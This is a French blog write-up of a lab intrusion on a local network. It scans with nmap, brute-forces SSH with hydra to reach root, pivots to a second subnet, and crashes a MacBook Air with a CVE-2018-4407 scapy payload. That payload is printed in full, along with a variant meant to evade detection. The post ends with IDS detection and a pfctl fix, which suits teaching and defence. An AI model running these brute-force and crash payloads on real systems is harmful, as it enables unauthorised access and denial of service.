security
Après avoir d'écouvert une vuln sur macOS, séance challenge ! Trouver et crasher la machine sous macOS sur le réseau !
0x01. ENUMERATION
Phase 1 : énumérer la liste des machines sur le réseau
Sur mon poste Linux, mon adresse IP est :
ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
link/ether 70:72:0d:13:37:e0 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 70:72:0d:13:37:e1 brd ff:ff:ff:ff:ff:ff
inet 172.42.201.101/24 brd 172.42.201.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::7272:dff:fe13:37e1/64 scope link
valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 70:72:0d:13:37:e2 brd ff:ff:ff:ff:ff:ff
inet 172.20.10.6/28 brd 172.20.10.15 scope global eth2 <-----------------------
valid_lft forever preferred_lft forever
inet6 fe80::7272:dff:fe13:37e2/64 scope link
valid_lft forever preferred_lft forever
ping_sweep() = balayge ARP&ICMP du réseau :
nmap -sn -n -T4 172.20.10.0/28
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 00:49 CET Nmap scan report for 172.20.10.1 Host is up (0.0027s latency). MAC Address: 6A:DB:CA:27:C8:64 (Unknown) Nmap scan report for 172.20.10.2 Host is up (0.28s latency). MAC Address: 44:6D:57:EE:80:76 (Liteon Technology) Nmap scan report for 172.20.10.3 Host is up (0.28s latency). MAC Address: C8:21:58:40:EE:99 (Intel Corporate) Nmap scan report for 172.20.10.11 Host is up (0.00014s latency). MAC Address: 8C:64:22:13:37:42 (Sony Mobile Communications AB) Nmap scan report for 172.20.10.6 Host is up. Nmap done: 16 IP addresses (5 hosts up) scanned in 1.34 seconds
0x02. IDENTIFICATION
Phase 2 : identifier les systèmes des machines détectées
nmap -sS -T3 -sV -O --osscan-limit --osscan-guess -n 172.20.10.1 172.20.10.2 172.20.10.3 172.20.10.11 172.20.10.6 # -sS envoie une demande de connexion sans l'acquitter (SYN scan) # -T3 timing de 3/5 (vitesse moyenne de scan) # -sV essaie de récupérer les versions des services # -O active la détection du système d'exploitation # --osscan-limit fait une 1ère tentative de dédection du système # --osscan-guess fait une tentative plus poussée de dédection du système # -n ne chercher à faire de rétro-résolution DNS (retrouver un nom d'hôte à partir de son IP)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 23:19 CET Nmap scan report for 172.20.10.1 Host is up (0.0033s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp? 53/tcp open domain (generic dns response: NOTIMP) 62078/tcp open tcpwrapped 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.70%I=7%D=11/7%Time=5BE22FE6%P=x86_64-pc-linux-gnu%r(DNSS SF:tatusRequestTCP,E,"\\0\\x0c\\0\\0x90\\x04\\0 \\0\\0\\0\\0\\0\\0"); MAC Address: 6A:DB:CA:27:C8:64 (Unknown) Device type: phone|general purpose|media device|proxy server Running (JUST GUESSING): Apple iOS 8.X|9.X|5.X|6.X|7.X (89%), Apple OS X 10.11.X|10.10.X (88%), Blue Coat SGOS 6.X (85%) OS CPE: cpe:/o:apple:iphone_os:8.1.2 cpe:/o:apple:iphone_os:9 cpe:/o:apple:mac_os_x:10.11.2 cpe:/o:apple:iphone_os:5 cpe:/o:apple:iphone_os:6 cpe:/o:apple:iphone_os:7.1.1 cpe:/o:bluecoat:sgos:6.3.2.201 cpe:/o:apple:mac_os_x:10.10 Aggressive OS guesses: Apple iOS 8.1.2 (Darwin 14.0.0) (89%), Apple iOS 8.0 - 8.1 (Darwin 14.0.0) (88%), Apple iOS 8.3 (Darwin 14.0.0) (88%), Apple iOS 9 (Darwin 15.0.0) (88%), Apple OS X 10.11.2 (El Capitan) (Darwin 15.2.0) (88%), Apple iOS 5.1.1 - 6.1 (86%), Apple iOS 7.1.1 (86%), Blue Coat proxy server (SGOS 6.3.2.201) (85%), Apple iOS 5.1.1 (85%), Apple OS X 10.10 (Yosemite) - 10.11 (El Capitan) (Darwin 14.0.0 - 15.0.0) (85%) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=11/7%OT=21%CT=1%CU=42137%PV=Y%DS=1%DC=D%G=Y%M=6ADBCA%T OS:M=5BE2307F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=RI%II= OS:RI%TS=A)SEQ(SP=104%GCD=2%ISR=106%TI=Z%II=RI%TS=A)OPS(O1=M582NW6NNT11SLL% OS:O2=M582NW6NNT11SLL%O3=M582NW6NNT11%O4=M582NW6NNT11SLL%O5=M582NW6NNT11SLL OS:%O6=M582NNT11SLL)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN OS:(R=Y%DF=N%T=40%W=FFFF%O=M582NW6SLL%CC=Y%Q=)T1(R=Y%DF=N%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=N%T=40%W=0%S=Z%A=S+%F=AR%O=%RD= OS:0%Q=)T6(R=Y%DF=N%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF OS:=N%T=40%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=0%RUD=G)IE(R=Y%DFI=N%T=40% OS:CD=S) Network Distance: 1 hop Nmap scan report for 172.20.10.2 Host is up (0.0051s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) 3000/tcp open ntop-http Ntop web interface 5.0.1 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.70%I=7%D=11/7%Time=5BE22FE1%P=x86_64-pc-linux-gnu%r(NULL SF:,30,"SSH-2\\.0-OpenSSH_7\\.2p2\\x20Trisquel_GNU/Linux_8\\.0-1\\r\\n"); MAC Address: 44:6D:57:EE:80:76 (Liteon Technology) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Nmap scan report for 172.20.10.3 Host is up (0.032s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? MAC Address: C8:21:58:40:EE:99 (Intel Corporate) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Nmap scan report for 172.20.10.11 Host is up (0.00022s latency). All 1000 scanned ports on 172.20.10.11 are filtered MAC Address: 8C:64:22:13:37:42 (Sony Mobile Communications AB) Nmap scan report for 172.20.10.6 Host is up (0.000013s latency). All 1000 scanned ports on 172.20.10.6 are closed OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 5 IP addresses (5 hosts up) scanned in 218.50 seconds
0x03. INFRASTRUCTURE DETECTÉE
0x04. ATTAQUE SSH
hydra -L logins.txt -P pass.txt ssh://172.20.10.2
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-07 23:50:24 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 319 login tries (l:11/p:29), ~20 tries per task [DATA] attacking ssh://172.20.10.2:22/ [22][ssh] host: 172.20.10.2 login: nexus password: p@ssw0rd
0x05. DE L'AUTRE COTE DU MIRROIR
ssh nexus@172.20.10.2
Last login: Wed Nov 7 23:51:05 2018 nexus@Nexus:~$ sudo -s
[sudo] password for nexus:
root@Nexus:~#
PWND! Allez, on scanne de l'autre côté du réseau :
ip a1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:26:6c:26:d9:9e brd ff:ff:ff:ff:ff:ff
inet 192.168.0.254/24 brd 192.168.0.255 scope global enp1s0
valid_lft forever preferred_lft forever
inet6 fe80::226:6cff:fe26:d99e/64 scope link
valid_lft forever preferred_lft forever
3: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 44:6d:57:ee:80:76 brd ff:ff:ff:ff:ff:ff
inet 172.20.10.2/28 brd 172.20.10.15 scope global dynamic wlp2s0
valid_lft 80212sec preferred_lft 80212sec
inet6 fe80::c240:24b2:731b:6960/64 scope link
valid_lft forever preferred_lft forever
4: bridge0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
link/ether 16:af:4f:45:5e:03 brd ff:ff:ff:ff:ff:ff
nmap -sn -n -T4 192.168.0.0/24
Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-07 23:56 CET Nmap scan report for 192.168.0.107 Host is up (0.00070s latency). MAC Address: 00:E0:4C:68:10:AC (Realtek Semiconductor) Nmap scan report for 192.168.0.254 Host is up. Nmap done: 256 IP addresses (2 hosts up) scanned in 3.54 seconds
nmap -sS -T3 -sV -O --osscan-limit --osscan-guess -n 192.168.0.107
Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-07 23:57 CET Stats: 0:03:20 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 85.71% done; ETC: 02:00 (0:00:22 remaining) Nmap scan report for 192.168.0.107 Host is up (0.00099s latency). Not shown: 993 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 88/tcp open kerberos-sec Heimdal Kerberos (server time: 2018-11-07 00:58:29Z) 445/tcp open microsoft-ds? 548/tcp open afp Apple AFP (name: Exodus; protocol 3.4; Mac OS X 10.9 - 10.10; MacBookAir6,2) 3031/tcp open eppc? 3283/tcp open netassistant? 5900/tcp open vnc Apple remote desktop vnc 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3031-TCP:V=7.01%I=7%D=11/7%Time=5BE238C7%P=i686-pc-linux-gnu%r(X11P SF:robe,C,"PPCT\\0\\0\\0\\x01\\0\\0\\0\\0"); MAC Address: 00:E0:4C:68:10:AC (Realtek Semiconductor) OS details: Apple Mac OS X 10.7.0 (Lion) - 10.10 (Yosemite) or iOS 4.1 - 8.3 (Darwin 10.0.0 - 14.5.0) Network Distance: 1 hop Service Info: OS: Mac OS X; CPE: cpe:/o:apple:mac_os_x:10.9, cpe:/o:apple:mac_os_x OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 218.73 seconds
Ok, maintenant nous devons ecrire un script qui verifie en boucle que ce Macbook Air est en ligne (via ping et une connexion TCP) et tester notre exploit.
0x03. 2EME INFRASTRUCTURE DETECTÉE
0x04. VUE D'ENSEMBLE
0x06. SCRIPT ET EXPLOIT
Nous aurons besoin de arping plus efficace et plus bas niveau que ping :
apt-get install arping
Le script pour verifier qu'un hote avec des services est bien accessible.
#!/bin/sh score=0 ifce="$1" target="$2" port="$3" while true ; do arping -I $ifce -c 2 $target >/dev/null 2>&1 && score=$((score+1)) nc -zn $target $port >/dev/null 2>&1 && score=$((score+1)) [ $score -eq 2 ] && echo "$(date) - $target is alive" || echo "$(date) - $target seems dead" sleep .7 score=0 done
bash testhost.sh enp0s1 192.168.0.107 3031 # On aurait pu prendre n'importe quel autre port ouvert à condition qu'il réponde bien ("succeeded!")
mercredi 7 novembre 2018, 00:17:09 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:11 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:12 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:14 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:16 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:17 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:19 (UTC+0100) - 192.168.0.107 is alive mercredi 7 novembre 2018, 00:17:53 (UTC+0100) - 192.168.0.107 is alive
On récupère l'exploit depuis Github (ou autre) :
Depuis une autre session, on ecrit l'exploit :
scp check_icmp_dos.py nexus@172.20.10.2:/tmp/exploit.py
On se connecte :
ssh nexus@172.20.10.2
On installe les prérequis (scapy) :
# debian-like : apt-cache search scapy
python-scapy - Packet generator/sniffer and network scanner/discovery
# debian-like : apt-get install python-scapy
On lance l'exploit :
sudo python /tmp/exploit.py 192.168.0.107
[!] Offensive mode - exploit could crash your target! [+] Trying CVE-2018-4407/ICMP-DoS on '192.168.0.107' [+] Packets sent 12 [-] Exploit finished.
Sur l'autre session on peut alors voir :
mercredi 7 novembre 2018, 00:18:09 (UTC+0100) - 192.168.0.107 seems dead mercredi 7 novembre 2018, 00:18:11 (UTC+0100) - 192.168.0.107 seems dead
PWNED !
0x07. COMPRÉHENSIONS AUTOUR DE L'EXPLOIT
L'exploit tient en une ligne Python :
IP(dst="192.168.0.107",options=[IPOption("A"*1)])/TCP(options=[(19, "1"*18),(19, "2"*18)])
En version un peu plus difficile à détecter :
IP(dst="192.168.0.107",options=[IPOption("A")])/TCP(sport=randint(1025,65535),dport=randint(22,1024),options=[(19, "\\x00"*18),(19, "\\x00"*18)])
Il faut savoir que cette exploit a été possible dans son contexte grâce à la liaison directe entre le PC sous Linux et le Macbook Air via un switch, qui ne filtre pas les paquets TCP/IP malformés - ce qu'à peu près n'importe quel routeur récent fait.
Le bug intervient en fait dans les options IP et TCP. tcpdump voit :
02:57:02.842110 IP 192.168.0.254.20 > 192.168.0.107.80: Flags [S], seq 0, win 8192, options [md5 shared secret not supplied with -M, can't check - 31313131313131313131313131313131[len 20],[bad opt]> 0x0000: 4600 0054 0001 0000 4006 b5e9 c0a8 00fe F..T....@....... 0x0010: c0a8 006b 4100 0000 0014 0050 0000 0000 ...kA......P.... 0x0020: 0000 0000 f002 2000 c7f5 0000 1314 3131 ..............11 0x0030: 3131 3131 3131 3131 3131 3131 3131 3131 1111111111111111 0x0040: 1314 3232 3232 3232 3232 3232 3232 3232 ..22222222222222 0x0050: 3232 3232 2222
- les options TCP sont invalides "[bad opt]"
- le paquet est traité par la fonction m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip); afin de retourner une erreur de connexion : d'oà le fait qu'on puisse envoyer la charge sur n'importe quel, ouvert ou fermé
- la vulnérabilité concerne le traitement d'une réponse à travers ICMP (ex. icmp-admin-prohibited) non pas le protocole ICMP
0x08. CONFORMITÉ
Cette vulnérabilité n'a aucun impacte sur un système dit "conforme" - c'est à dire qui réponds aux exigences de sécurité préconisés par les différentes entités connues et reconnues (CIS, DISA, NIST, Lynis, ANSSI).
Parmi ces exigences, celle d'activer le firewall natif pfctl permet de rendre inefficace cette vulnérabilité, car pfctl intercepte les paquets, et les filtres en fonction de ses règles et les transmet ensuite au noyau XNU. Ainsi les paquets malformés (*) comme celui de l'exploit, ne sont pas traités par le noyaux car rejeté (dropped) par pfctl.
* Dans sa version 2.2.6 Wireshark a un module pour déterminer la dangerosité de l'attaque. Il marque ces paquets comme "spurged" (faussé/fallacieux).
0x09. DETECTION SUR UN IDS
Il suffira alors de vérifier les options IP et TCP et s'apercevoir qu'elles sont surchargées.
0x010. FIX
A l'heure d'aujourd'hui, nous avons constaté que la vulnérabilité a été corrigée par Apple dans sa mise à jour vers la version 10.13.6.
En dehors d'avoir à garder son système à jour - chose qui selon le contexte peut s'avérer compliqué - la conformité permet de restreindre au maximum le vecteur d'attaque.
Dans ce cas, il est possible de charger pfctl au démarrage. Pour cela il faut créer : /Library/LaunchDaemons/local.pfctl.plist avec le contenu suivant :
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Disabled</key> <false/> <key>Label</key> <string>local.pfctl</string> <key>Program</key> <string>/sbin/pfctl</string> <key>ProgramArguments</key> <array> <string>pfctl</string> <string>-E</string> <string>-f</string> <string>/etc/pf.conf</string> </array> <key>RunAtLoad</key> <true/> <key>StandardErrorPath</key> <string>/tmp/local.pfctl.err</string> <key>StandardOutPath</key> <string>/tmp/local.pfctl.out</string> <key>WorkingDirectory</key> <string>/var/run</string> </dict> </plist>
Puis l'activer via launchctl :
sudo launchctl load -w /Library/LaunchDaemons/local.pfctl.plist
Pour le charger immédiatement :
sudo pfctl -E -f /etc/pf.conf
=> Écrit par : Nicolas, le 07 novembre 2018
